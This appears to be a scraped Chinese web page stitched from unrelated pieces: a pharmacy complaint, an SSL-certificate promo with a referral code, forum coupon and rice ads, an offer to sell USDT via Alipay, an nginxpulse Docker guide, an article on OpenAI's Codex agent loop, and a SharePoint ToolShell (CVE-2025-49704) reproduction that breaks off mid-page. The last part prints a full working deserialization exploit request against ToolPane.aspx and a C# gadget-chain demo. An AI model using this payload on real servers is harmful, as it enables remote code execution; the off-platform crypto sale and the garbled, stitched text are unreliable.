2026年2月

最近头油得厉害,昨天下楼去药店想买瓶康王酮康唑洗剂,本来以为是个简单的采购,结果硬生生演变成了一场防诈骗实战

复盘一下我遇到的 3 个坑,大家买药真的要带脑子:

坑 1:虚报高价,看人下菜碟

我问有没有康王,店员秒回有,推荐 100ml 装,张口就是100 块!我说要小的,她找了个 50ml 的,报价60 块

我随口提了一句 “某团上才 36 啊”,她当场变脸,假装在电脑上查了半天,说:“行,36 也能卖给你。” 甚至还 “好心” 告诉我,100ml 的现在60 块也能卖。合着这原价就是瞎编的?

坑 2:会员折扣套路,虚假优惠

看我要买,她立马推销会员卡,说95 折还能积分。我想着反正经常买东西,就说办一个吧。

结果付款时还是扣了 36 。我问不是 95 折吗?她轻飘飘一句:“哦,某团这个特价价格不能用会员折。” 那你早干嘛去了?耍猴呢?

坑 3:偷梁换柱,品牌不对版

最气的是最后拿到手的货!平时大家推荐的经典康王是滇虹药业的,结果她给我的是拜耳的。

虽然成分都是酮康唑,但这不是挂羊头卖狗肉吗?要不是我当时急着走,且想着成分一样,真的当场就退了。

💰 最终账单:

50ml 拜耳版康王,付款 36 元

虽然价格是按外卖价买到了,但这一顿操作下来,真的让人极其不舒服。药店的信任度,真的被这些套路败光了!

SSL证书,作为保障网站安全的关键技术之一,不仅通过HTTPS加密机制保护数据安全传输,更是利于搜索引擎优化(SEO)、提高用户信任度与网站可见性的重要策略。

一、SSL证书原理:

SSL证书的核心工作原理包括三个关键过程:

  • 握手协议: 建立安全连接时,客户端与服务器之间的相互验证、协商加密等。
  • 记录协议: 对传输数据进行加密、解密和完整性验证。
  • 警报协议: 在检测到异常时发送警报信息。

二、SSL证书如何提高网站安全性?

1、数据加密保护

SSL证书实现对网站与用户之间传输的数据的端到端加密。这意味着即使数据被第三方截获,也无法解读其内容。对于涉及登录凭证、个人信息、支付详情等敏感数据的网站,这种保护至关重要。

2、身份验证机制

SSL证书由全球信任的证书颁发机构(CA)验证服务器真实身份后颁发,能验证网站真实身份,确保用户连接的是合法网站而非仿冒站点。这一过程有效防范了网络钓鱼等欺诈行为。

3、数据完整性

保证SSL证书通过消息认证码(MAC)机制,校验数据在传输过程中是否被篡改,从而确保了传输信息的完整性和可靠性。

三、SSL申请流程如下:

免费SSL证书申请入口

1.访问JoySSL的官方网站并注册账号。在注册过程中,填写相关信息,最后一栏务必填写最新的注册码230970,这样才能获得免费一年期SSL证书的申请权限。

2.登录后,选择“免费一年期SSL证书”选项,0元下单购买。并填写域名、联系人、联系方式等相关信息。

3.根据提示验证域名所有权,验证方式包括DNS解析认证或者服务器文件验证等。

4.验证成功后,10分钟左右签发,签发后,在JoySSL账号下载已签发的SSL证书及相关中间证书链文件等等。根据服务器环境(如Apache、Nginx、IIS等),将证书文件安装到服务器上。

  • 一等奖 1 名:40 元无门槛无限叠加优惠券
  • 二等奖 5 名:30 元无门槛无限叠加优惠券
  • 三等奖 10 名:20 元无门槛无限叠加优惠券
  • 四等奖 20 名:10 元无门槛无限叠加优惠券
  • 参与奖:每 4 层抽取 1 人,获取 10 元无门槛无限叠加优惠券

21:00 开奖

V 站五年口碑老店
大米原价:10 元一斤
新客首单:立减 5 元

微信:18846163054

此贴下回复即可,最后会做统计,两贴合并
整体福利活动详情链接: https://v2ex.com/t/1189994

楼主因为做外贸的副业生意,经常客户都是付 U ,我一般都是让他们直接给打到我币安 TRC20 地址
这样的操作,如果 U 有问题,币安平台自己一般能快速查出来,这样也能马上跟客户对质,最后真正到我币安账户的,基本都是安全的 USDT 了,这算是我做外贸副业收 U 的一点心得吧,不去用冷钱包,借用一下币安的风控系统
到现在积累了 3919U 了,所以准备出一出,出完这波后面陆陆续续也还会有,所以是长期出,只出个人,多少 U 都可以出,价格就按照币安的市场价来
交易方式是扫我支付宝二维码,然后我直接通过币安平台内转账给你(需要给我你的币安 UID ),这样 0 手续费。
昨天已经出了 100U 给 @zenfsharp , 有需要的 V 友可以留言,我会联系你。

大家好,我是 Java陈序员

对于运维人员、站长来说,Nginx 日志是分析网站访问情况的核心,但逐行翻阅、手动统计 PV/UV、排查 IP 归属地的过程,耗时又费力。尤其是多站点部署时,不同日志文件切换、数据零散的问题,更是让人效率大打折扣。

今天,给大家推荐一款开源的轻量级 Nginx 日志分析可视化面板,告别逐行翻日志!

关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

nginxpulse —— 一款轻量级 Nginx 访问日志分析与可视化面板,提供实时统计、PV 过滤、IP 归属地与客户端解析。

功能特色

  • 轻量化部署:支持 Docker 部署,无需搭建复杂依赖环境,基于 Go 语言开发,后端高性能低消耗,搭配 SQLite 轻量化数据库,无需额外部署数据库服务
  • 多维度日志分析:支持同时挂载多个 Nginx 日志文件,自动统计 PV/UV、访问频次、请求状态码、客户端(浏览器/设备)、访问时段等维度数据
  • 智能 IP 解析:IP 归属地按地域分类展示,可快速定位异常访问 IP、高频访问区域
  • 灵活适配:支持适配非标准 Nginx 日志格式,只需调整解析规则配置,无需修改代码,还适配 Caddy 服务器日志解析,一站式搞定多类 Web 服务器日志分析

技术栈

  • 后端Go + SQLite + Ip2Region
  • 前端Vue3 + Vite + TypeScript

快速上手

Docker 部署

1、拉取镜像

docker pull magiccoders/nginxpulse:latest

2、创建挂载目录

mkdir -p /data/software/nginxpulse

3、运行容器

docker run -d --name nginxpulse \
  -p 8088:8088 \
  -p 8089:8089 \
  -e WEBSITES='[{"name":"Java陈序员","logPath":"/share/log/nginx/access.log","domains":["chencoding.top","chencoding.top"]}]' \
  -e ACCESS_KEYS='["key-1","key-2"]' \
  -v /data/software/nginx/access.log:/share/log/nginx/access.log:ro \
  -v /data/software/nginxpulse:/app/var/nginxpulse_data \
  magiccoders/nginxpulse:latest

参数说明

  • 8088:前端访问端口
  • 8088:后端访问端口
  • -e WEBSITES:指定网站列表的 JSON 数组,字段:namelogPathdomains(可选)
  • -e ACCESS_KEYS:访问密钥列表,为非空数组时,访问 UI 和 API 都需要提供密钥

4、浏览器访问

http://{IP/域名}:8088

Docker Compose 部署

1、创建 docker-compose.yml 文件,并写入如下内容:

version: "3.8"
services:
  nginxpulse:
    image: magiccoders/nginxpulse:latest
    container_name: nginxpulse
    ports:
      - "8088:8088"
      - "8089:8089"
    environment:
      WEBSITES: '[{"name":"Java陈序员","logPath":"/share/log/nginx/access.log","domains":["chencoding.top","chencoding.top"]}]'
      ACCESS_KEYS: '["key-1","key-2"]'
    volumes:
      - /data/software/nginx/access.log:/share/log/nginx/access.log:ro
      - /data/software/nginxpulse:/app/var/nginxpulse_data
      - /etc/localtime:/etc/localtime:ro
    restart: unless-stopped

2、启动运行

docker compose up -d

日志文件挂载

  • 多日志文件挂载

WEBSITES 的值是个数组,参数对象中传入网站名、网址、日志路径。例如:

environment:
  WEBSITES: '[{"name":"网站1","logPath":"/share/log/nginx/access-site1.log","domains":["www.kaisir.cn","kaisir.cn"]}, {"name":"网站2","logPath":"/share/log/nginx/access-site2.log","domains":["home.kaisir.cn"]}]'
volumes:
  - ./nginx_data/logs/site1/access.log:/share/log/nginx/access-site1.log:ro
  - ./nginx_data/logs/site2/access.log:/share/log/nginx/access-site2.log:ro
  • 日志目录挂载

如果有很多个网站要分析,可以考虑将日志目录整体挂载进去,然后在 WEBSITES 里去指定具体的日志文件即可。例如:

environment:
  WEBSITES: '[{"name":"网站1","logPath":"/share/log/nginx/access-site1.log","domains":["www.kaisir.cn","kaisir.cn"]}, {"name":"网站2","logPath":"/share/log/nginx/access-site2.log","domains":["home.kaisir.cn"]}]'
volumes:
  - ./nginx_data/logs:/share/log/nginx/
  • 压缩日志(.gz)挂载

nginxpulse 还支持直接解析 .gz 压缩日志,logPath 可指向单个 .gz 文件或使用通配符。例如:

{"logPath": "/share/log/nginx/access-*.log.gz"}

功能体验

  • 概况

  • 数据日报

  • 实时

  • 访问明细

不管是个人站长、中小企业运维,还是个人开发,nginxpulse 都能帮你告别繁琐的日志分析,用最简单的方式掌握网站访问数据。快去试试吧~

项目地址:https://github.com/likaia/nginxpulse

最后

推荐的开源项目已经收录到 GitHub 项目,欢迎 Star

https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:

https://chencoding.top:8090/#/

我创建了一个开源项目交流群,方便大家在群里交流、讨论开源项目

但是任何人在群里打任何广告,都会被 T 掉

如果你对这个交流群感兴趣或者在使用开源项目中遇到问题,可以通过如下方式进群

关注微信公众号:【Java陈序员】,回复【开源项目交流群】进群,或者通过公众号下方的菜单添加个人微信,并备注【开源项目交流群】,通过后拉你进群

大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!

此次升级将更好地守护早期支持者的利益,并保障资金池的长期健康运转。面对市场的不确定性,我们将视情况灵活调整额度分配,感谢您的理解与支持。

pZoAzNQ.jpg

OpenAI最近发表了系列文章的第一篇,详细介绍了他们的Codex软件开发智能体的设计和功能。首篇文章重点介绍了 Codex 框架的内部结构,这是Codex CLI的核心组件。

 

与所有 AI 智能体一样,框架由一个循环组成,该循环从用户那里获取输入,并使用大语言模型(LLM)生成工具调用或回应用户。但由于 LLM 的限制,循环还具有管理上下文和减少提示缓存未命中的策略。其中一些策略是从用户报告的错误中学到的教训。因为 CLI 使用Open Responses API,所以它是与 LLM 无关的:它可以使用任何被这个 API 包装的模型,包括本地托管的开放模型。根据 OpenAI 的说法,他们的 CLI 设计和经验教训因此可以惠及任何基于这个 API 设计智能体的人:

 

我们强调了任何适用于在 Responses API 之上构建代理循环的实际考虑和最佳实践。虽然代理循环为 Codex 提供了基础,但这只是一个开始。在即将发布的文章中,我们将深入探讨 CLI 的架构,探索工具使用是如何实现的,并对 Codex 的沙箱模型进行更仔细的观察。

 

文章描述了用户与智能体对话中的一轮或一次交流中发生的事情。这一轮交流始于为 LLM 组装一个初始提示。这包括指令,这是一个包含智能体通用规则的系统消息,例如编码标准;工具,一个智能体可以调用的 MCP 服务器列表;以及输入,这是一个包含文本、图像和文件输入的列表,包括 AGENTS.md、本地环境信息和用户的输入消息等。所有这些都被打包成一个 JSON 对象发送到 Responses API。

 

这触发了 LLM 推理,从而产生一系列的输出事件。其中一些事件可能表明智能体应该调用其中一个工具;在这种情况下,智能体使用指定的输入调用工具并收集输出。其他事件表明 LLM 的推理输出,通常是计划中的步骤。工具调用和推理都被追加到初始提示中,然后再次传递给 LLM 进行更多的推理或工具调用迭代。这就是所谓的“内”循环。当 LLM 用 done 事件响应内部循环时,会话轮次结束,其中包括给用户的响应消息。

 

在这种模式中,一个主要的挑战是 LLM 推理的性能:它是“与发送到 Responses API 的 JSON 数量成二次方关系的”。这就是为什么提示缓存是关键:通过重用先前推理调用的输出,推理性能变成线性而不是二次方。改变工具列表等事物将使缓存失效,Codex CLI 最初对 MCP 的支持有一个错误,即“未能以一致的顺序枚举工具”,这导致了缓存未命中。

 

Codex CLI 还使用压缩来减少 LLM 上下文中的文本量。一旦对话长度超过某个设定的 token 数量,智能体将调用一个特殊的 Responses API 端点,该端点提供了一个更小的会话表示,替换了之前的输入。

 

Hacker News 用户讨论这篇文章时,赞扬了 OpenAI 开源 Codex CLI 的决定,并指出 Claude Code 是封闭的。一位用户写道:

 

我记得他们宣布 Codex CLI 是开源的……这对于任何想要了解编码智能体如何工作的人来说都是一件大事,非常有用,尤其是来自像 OpenAI 这样的主要实验室。我还在一段时间前为他们的 CLI 贡献了一些改进,并一直在关注他们的发布和 PR,以扩大我的知识。

 

Codex CLI 的源代码缺陷跟踪修复历史可以在 GitHub 上找到。

 

原文链接:

https://www.infoq.com/news/2026/02/codex-agent-loop/

0x00 环境搭建

https://www.alibabacloud.com/help/tc/ecs/use-cases/install-sharepoint-2016

WindowsServer 2016

sharepoint 16.0.10337.12109

0x01 漏洞复现

Poc

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 192.168.0.104:44946
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Referer: /_layouts/SignOut.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 7003

MSOTlPn_Uri=http%3a//192.168.0.104%3a44946/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22iabkxcni%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22obsajjosoict%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3ciabkxcni%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3cobsajjosoict%3aExcelDataSet%20CompressedDataTable%3d%22H4sIANvgkmgAA9Va23LjSHKdscMb9qzf/AMKPU%2b3AFLsGXWoO4IgWRDZIiSARIHAxkQsbi2QBEAO7%2bLv%2bAv9BfbJLPDSt%2bmZWe%2bsrQ5RbBaqMvPkyVNZAL/59ptvvvlv/NBf%2bvn3f8KLNXhertLiZTtchd9fyHSxHM/KN9cvNfr3/UVrna/Wi/RNma5XizD//uJxHeXj%2bF36PJxN0/JN9MMPYSNuvNJv6tep9uPNv9Di/3G2Jr8M0hXZ%2brdRkQ/iLC3CP%2bNde/z%2bvbkIi2%2b/pbE//TNe/utfb3fL10u%2b5GJX5OXyzeWlevN6h/fZajV/fXW13W5fbusvZ4unq5qm6Vej/r1a9nBtsUxg9c3lelFWqy1fFON4MVvO3q9exLPiNa57oa66vBgnby6X4/KpzMbZfD2P8mRTXr797uKCnEnztEjL1UUZFulnLrtQi7zuLqs431yuFuv0%2bLm7TFvrxQIr3M/iME%2brYVqdfsgC3Jnn6W74PE8PHx%2bHstk4Ti%2bKcfkQx%2bsFENCwcrg7/G9dRrN1maTJ5fnMw%2bwPXd8k78dRMs/2s1k0fz9efzLlK/58fNky/XmdlvEXr/m8F6uijMbrOFmX6%2bQIEkFH5t5cVsRpzfI8jVdg4vKlmZbpYhy/vB8vV3/V//KXc24N0sUGAC1fdstVuijD/GVnNw8JEG8Rzufp4q%2b14wQvjV663Zf3s6WYLYpwhQnfX5zGfg/3tfr7xvsf3ut60tDCevjT90db4zKZbZfKyYdogljo7eNithknZPdxkS4BSkghCtRAup0tpr/Dhboeva//2HgVJvVX12m98dNPx5g%2bAOh/obJ/%2bunyYsVJQlLD8pkSdvkhNa%2b%2byJerrxCGL/gF4vF4xaQPiuTqWCXHkvrMUh9OV96wLLz97k8kPv8pbhOo0dPitfoTFr9LSNQctcTX5hwMvdjoVSXefiwup0BvPy7ei8pdkq5hGOUnwVnMtg8LcIyloroqC5etLCyfUmRpXC7TxeoTxbg9L8yj4o6/LrkvsOAqRFpPOp38CqH%2blAS3H5Xuw/vzUv20iP4AJy8%2bz%2bejpx3FqC/Q/haektNpgjcIaPWsfVkrb/vpKpslFqTgbRvasBiH%2bXif3l6dff61yY8hKQnAWv6SJuPyqnr/CASx%2bOuDaiSvl6sFOH759mrbed62tGbTbjabj1f4%2bdFoHn%2b2LXodSKsR1508GmyfZCGf41q%2biSaadj9prvut6%2b19y2gn3k5LRr380Wvkych59r3tsisM3S92c19b5al0NmFNrh%2b9bt2qdXR/79b6w%2bneMt3tQ3sq2H7XNtx6vk9MubqfWpvI3OV%2b3ZlHtcb%2bfprkEWyHXn/t1m6ecc3UrUnNb4vI0w/%2bNYbJXW8eFfGya%2bp7H9dFZj6Gf14w6u1D72b9OLSVz5Pmstux9OjO0ePCvcHaOuZmUWv75N7JMeZNBjXZkObNIvCub/xJXPeHcmIN/d3DsK8Fw%2bb1A6YosGQ7qst10szaUU3f%2bsAhfkqONg031wJP3zeb/abxNLaaRzwbuH63DDxLo%2bvi58ZdAPziIp9w/CMjw/s94j%2btWzR3nr4apiMLa2prt%2b4Ak0aJGFdxzdrEhPf475UnTLGfmBPNJ3qZts/ed%2bjVQIzNZuv/eYwcyv2odu7fdbubH2PqBN4uD2pCC6RFsWTgyyt/xFztIt5pMOr2DOK00emcMPJNes2y7cZ/NrZRPcnj0pphrWW3pYuosDYBeG3XblaRJ9ZBy3hnu7257SbC9qy6XewMR%2bTGcCpasiO6rismgdbb2m6s2XJet73EcNqGMXCFEbrCtF3hJFpvZLtS2NJy7GlgOPXECDqiFU6F8DXx6LpdHes7thR1e2oZzjAzpC5aXkd0HFeMYf9n23UsjJd2cWM4xcoYeklLTkUn1MTQdXt723U12204djE3nI5uSIzHmriDHzLROjvYl7bMHTvPDEfmhl8kLfh31%2b%2bw/Zqy36vbJezXbgxvlLQsVwisH8L/e9sNHKxv2FPYd3XDx/p9rJ9oQsJ%2bB%2bv3EB/8y%2bFfYrg0PhV3Q/gPfAZYf2LLwLBLh%2b1T/D7wCTThBloX/gcLjNd5feAjXcZXRJrwEP8S46UtndIeAV9gIMvEgO2u5Ph6uAZjngC%2bc/ZP5sKIgS/yQ/7VeFzmdXsE/4aOEUjg32H7Dn7r8B/2LcS3An7S8OB/AvueKyzYR%2byBxfFNAmVfE62BJjrAd4T4Ap5/sO9ZRgD/I4X/GPYXsI/8Jwp/XRg%2b%2bAPfTOAzxPydmi/V/JplSCkoPsrvAPOHsB9w/okfU/CP8Dnlf8f4uTrmN4CvMEC3ltXh/GWB1tkyP4hfpQF8EF%2bZtAbAB%2bs4Cn/KP%2bG/MgbgjyeZfwL8oPxj7Rhr3Dh2qfB3wQ9bEyb4OYJ9n%2bd7KLcc%2bHZyjh/5N2HfSzj/8TXwq9t5D%2bPwr36yj/nrI/7lnPND60fgDzhM%2bCj7sgf8JfBdGS7wHwIf5J/iF8DX4PrLA%2bY/4WthPjAeqPrLEB%2buIX57NzzuK/7nNtcP44f5FuIXlH8jdUUH86dYf3Dk3yH/wCHtiDvEF8C/HuLf256D/ErO/1Dn/Jv4pfpHfAnx27FHc1X/4BfmUv17wB/Yyjrjh9pm/mN%2bDH3xVf2NVPyBil/Tuf6BTRf8DBR/EBt4b091rl/Kf9/l/ME%2b5T%2bbcPxT1J%2bbGy7ih30T6yN%2b4j/lP1H8r%2bqP9Ecq/Vmo%2bKWyDx8RP9V/d6jwv%2bP6J/7liG9vcP7BX8o/6ofiS%2brID8YT5m9gJlR/VD8UP/HXUPybGwMT/BeC8Of5WD/D/A3mK/0YGga433I05gf0oyfZvicM5j/45%2baMn4iVfrz6Jf6f%2bEf62%2bP687B%2bVf85xrEHyAnHV%2bZcv8z/U/31jvpL%2bNfVfNJf4h/8Q/06kvVnivoHR3xln/QT/pM%2bJ9aBf4Q/6Y9U%2bCP3FH8w4f1jIoCfpPwb0GfSP9IfjfH1UB/EH9LfWsL6U/Ef/M6gH3nJ8QtpSOAPHyn/hF%2bN9zfCfyhU/kfMfxPxPyA%2b0tce868UKv7yA/5tlX6hfnOD80f6NFT6Q/xvKf2n/c/5jP6IhtJ/4l%2blfzW2T/hDvxh/h/ldIL9arvgHfMBdF/g8H/WH4pfAR57wh/2Nij8p2T7W9zHuagf%2bEf8Doexb7D/hDx2g/JD98Mh/0j/YJ/ypvlyOn/xHfj3sEwXyW1i8fxL/EhV/m/dP5r/afwgf2v98VR/EfzWf6gP1U9k3q/gXzD%2bKb9Jj%2b/Cf7WOdQOkv2Ucclf0h%2bJ9gfbX/dIkfJcdP%2boP6CYTaPzBfBozPh/u/C/3B3IP%2beNx/sP3gmH/sgdT/uEo/5UbhL471H1f1nzD/M4P5R/svapvsQ4NIf8dV/JuD/QHxs8b7O%2bnnJFH4T7j%2byT646Y8Y/wP/9r%2bgP1S/4IeD%2bbQ/Ab999tX6r%2bIn%2b5nqv0i/heI/9J/6h7P67yh8oWHUH6L%2bUF8H/7H/Eb8yyfVD8eecvxZsV/rVJf72FH8E7z/M/ynnn/z/PP86XP%2bkb8i/DJD/kvOPOqT9ra/899yP9Rf8o3HvlP8623f10gY3jvZP9Wep/Y3yr%2brfR39F%2blP1Py7HT/sf64/qf%2bD/Gf8pflxD/Mf%2bRfij/6T6o/39WuW/6v/IPsaxf6P5EYi91%2bf6of770H8q/O/8I/7UX8/rh/6P9j/0D6ZU/Rft/5uj/por5h/6b65/V/EvYP3l/kewflP90XzFP9I/zKf4KX857z/dU/0Fav%2bh%2bA/4T7n/yxLtHH%2bH%2byvyP1L1S/43qv6jpP6d%2bV8c%2b0/i/0zxX6r%2b/7P6m1ncfxa6ih/8PeyfGP9Z4Y/5vP/k3L8j/jtL1d/%2bvP4HON%2bQ/qB/pvoeV/23xfjT/qHnvP%2bhfjj/uKbB%2bxf3PxbHT/7H7rH/36v%2bA/VL9qn/MdX5I1T1TfgEqv4QP/Zv9D/EP5pf9V/An/rPicH8ofiBP%2bl/hT/pD/YfOn8o/Kn%2b7iTnV1yf9L/af9E/uqq/shS/Plv/vL/A/w73H55TV/qr%2bi/0n13q/2A/qPQH%2biLUfGjcgyvaA9VD4vxkORw/9IHyT%2bcf7A%2bEf1DVJ/ZPwl%2bq81m1f8F/rNsBvojNzdX%2bZeJ81lHnB6zvAr8u808i/%2bPq/IJx1JF46GCLcnsP6E%2buuX89G8cZ9rA/D9U4etCzcer/Je/PVN9S8ec0Tv1vB/wD9tx/YZzyL1ifqf4wl%2bbTuKXqk84/BuMv1fnZTFT%2b61X8JfX/A2DnVfEnnB%2bhH8/f0L8BtHUA/YP/BvTtnepPE9VflWp/8nLub0k/8gpfyfNP5/MWOELnL9LXV%2bp8gPpEf2nv1fkjUfUxRfzgf4b6xlih8B/WmH/Ef9IHTZ1/cb6m84uO/qNgfab1pzbXdxUf%2bhcb2jqg/hv8dlR9Y30n4PM16QPi92vJgR/YfwX8px4e50%2bcfY7xwT/kN1T1Wd0/oPjhP/ErUvNhH/uCa2N%2bDv/BX/SotH%2blqr5DxA//%2b9ph/yJ8Md9IVP7GSj/o/Eb9t8Hrk37jmg7wfwy4P6D%2bBvENK/wwHqn7I1LpH%2bEHfhK/UR84Oxuh6s/I/ml92j9J3zy%2b/3DwD/mx6AyNHnBl2LrSZ4pvqPCv8j9X5xvs73R/A/jfKf/JPurHQ3yUf8RP%2bGG8rc5H1P/Gmsrv7oCfgb6OxsFt0l/wg/Qd88/sd6v8Vvd/cqVPtRX390m1f6r7M/CP8B853J9SfknfkD%2b6f9Sq9LPCl/0n%2bwf%2b1Lh/sv07vo9Vs1ZB0xb09jfeD%2bN7ha0OrjdlibHcqOl5YmaboN28izyphebNtG/32829cbz355hyifNqlphyGIx6c9/bzdNC8L3EgXmzDEz5/E47rel4DS0up5vjfeS8lwfF4T7y9XroyZVfyOeB1ygi/Yu%2b/q3ze%2bom6bTHMdsz%2btPhz9p/c2ycB%2bPOacSm2/VH1j7w9HF0NzUTUzwHNal1SieLiyRPBF0jjbhu5ZHXW6Z2Q/NHvTIYOW46MvJhIVaBPV/h/7Oo5jz4np63vU/sGU27i99Ouy9%2bU74XZ/GJqHSeU9u/J9%2bXzd4Jg1Ku/Vpz/4%2b833sv/m/Ydsw8C2qNDTCe%2b/X%2b2r3rbfya3MfP26cjH/%2bezzKetsSs%2b2hkTaJ6bxl6XcQS0D1q4v6NpWzB5vbJrstlciefg6G%2bDkZSiwuxhG924tE86z4Y5W5UW%2bXRRB9b%2bySzvL5uTTqN/t7J%2b%2b2nRuvJt/6gZ0tmm%2b69G/Ov47z1H7m2pEV1orWcpqpbuo/fujlxpJAFamSSmPB13LCo/pCTXlQEG7dGz6jEMhzNMx6fZpvIdPL4Kea1VM3tTjXpNrLIc3t2bZfhM67BlrTm8C9jfO35MPSSNWqLcvvcmuo0L49zrn/bQdysHRpqvy5XAdXstkP1ajSb/W779ByGa97TcSDasjZZSpuu6Y/Jgt5u/AouGkPSmaSVfa5mPvnsne1LWvrxbK8APmVU3IDP%2bSR%2bbthxcTMJoGNdoXB/Jz7zPO/Tz%2bZKY2dGSz1/UnHw%2b%2bT4LKllc7AmP3hp6p/4Z2Q8bwE91/r77hM9e4lJRwe/Or6QFuif4utFpb3vj42jD781nrMHRqZJ7t%2bJo92Df%2bHI2kT/8Odk0z5z6Kn667DPPZWD2f3tVfV4%2bxeel1/9%2bgfmt%2bqbB93q8ffZA%2b3zrydcvr29%2bvDCL3wn4OrXfCng9uo3fhfio%2b9yXJ1/mePsWyRXH3%2bNpPriydWn3zy5vfroCzFvv/vz/wAhdP%2bjQSgAAA%3d%3d%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/iabkxcni%3aUpdateProgress%3e%0a

image.png

漏洞分析

根据卡巴斯基和Viettel Cyber Security的漏洞分析报告来看一下漏洞原理

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

https://securelist.com/toolshell-explained/117045

这里我们先来分析一下反序列化漏洞,

CVE-2025-49704

根据分析文章来看,漏洞产生点

Microsoft.PerformancePoint.Scorecards#Helper

// Token: 0x06000CEF RID: 3311 RVA: 0x00029058 File Offset: 0x00027258
        public static object GetObjectFromCompressedBase64String(string base64String)
        {
            if (base64String == null || base64String.Length == 0)
            {
                return null;
            }
            object result = null;
            byte[] buffer = Convert.FromBase64String(base64String);
            using (MemoryStream memoryStream = new MemoryStream(buffer))
            {
                memoryStream.Position = 0L;
                GZipStream serializationStream = new GZipStream(memoryStream, CompressionMode.Decompress);
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                result = binaryFormatter.Deserialize(serializationStream);
            }
            return result;
        }

利用dnspy分析,可以看到在ExcelDataSet中进行了调用。

image.png

这里我们可以看到BinaryFormatter.Deserialize实际上是反序列化一串XML的内容。

image.png

这串XML内容,就是利用到了恶意的ExpandedWrapper方法来调用任意的方法,这里就调用到了LosFormatter#Deserialze方法,

还有一个疑问,BinaryFormatter是用来处理二进制数据的,为什么BinaryFormatter.Deserialize可以反序列化XML数据呢?

这涉及到了另一个漏洞CVE-2020-1147,在MSRC中明确指出了DataSetDataTable

image.png

这里我写了一个Demo便于理解

using System;
using System.Collections.Generic;
using System.Data;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;           
class Program
{
    static void Main()
    {
        var person = new Person();
        var odp = new ObjectDataProvider
        {
            ObjectInstance = person,
            MethodName = "say",
        };
        odp.MethodParameters.Add("hello");

        var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(Person), typeof(ObjectDataProvider));
        dynamic wrapper = Activator.CreateInstance(wrapperType);
        wrapper.ExpandedElement = person;
        wrapper.ProjectedProperty0 = odp;

        var listType = typeof(List<>).MakeGenericType(wrapperType);
        dynamic list = Activator.CreateInstance(listType);
        list.Add(wrapper);

        DataTable dt = new DataTable("hehe");
        dt.Columns.Add("pwn", listType);
        dt.Rows.Add(list);
        DataSet ds = new DataSet("somedataset");
        ds.Tables.Add(dt);

        BinaryFormatter bf = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Create))
        {
            bf.Serialize(fs, ds);
        }

        BinaryFormatter bf1 = new BinaryFormatter();
        using (FileStream fs = new FileStream("payload.bin", FileMode.Open))
        {
            bf1.Deserialize(fs);
        }

    }

}

image.png

当遇到DataSet的时候,会重写BinaryFormatter.Serialize正常序列化的流程,导入写入了XML内容,同样反序列化也如此。

上面XML的内容就是利用了ObjectDataProvider去调用了LosFormatter#Deserialize方法

继续来看一下是如何调用到这个ExcelSet组件的。

来看一下ToolPane.aspx文件

<%@ Assembly Name="Microsoft.SharePoint.ApplicationPages" %> <%@ Page Language="C#" Inherits="Microsoft.SharePoint.ApplicationPages.ToolpanePage"       %> <%@ Import Namespace="Microsoft.SharePoint.ApplicationPages" %> <%@ Register Tagprefix="SharePoint" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="Utilities" Namespace="Microsoft.SharePoint.Utilities" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Import Namespace="Microsoft.SharePoint" %> <%@ Assembly Name="Microsoft.Web.CommandUI, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <% SPSite spServer = SPControl.GetContextSite(Context); SPWeb spWeb = SPControl.GetContextWeb(Context); %>
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="<SharePoint:EncodedLiteral runat='server' text='<%$Resources:wss,multipages_direction_dir_value%>' EncodeMethod='HtmlEncode'/>">
<head>
    <meta name="GENERATOR" content="Microsoft SharePoint"/>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta http-equiv="Expires" content="0"/>

    <title id="onetidTitle"><SharePoint:EncodedLiteral runat="server" text="<%$Resources:wss,pagetitle_sharepoint%>" EncodeMethod='HtmlEncode'/></title>
    <SharePoint:CssLink runat="server"/>
<SharePoint:CustomJSUrl runat="server" />
<link type="text/xml" rel='alternate' href="_vti_bin/spdisco.aspx" />
</head>
    <SharePoint:ScriptLink name="core.js" localizable="false" Defer="true" runat="server" />
    <body oncontextmenu = "return false;" onclick = "if(event.shiftKey) {event.returnValue = false; event.cancelBubble = true;}">
    <form runat="server">
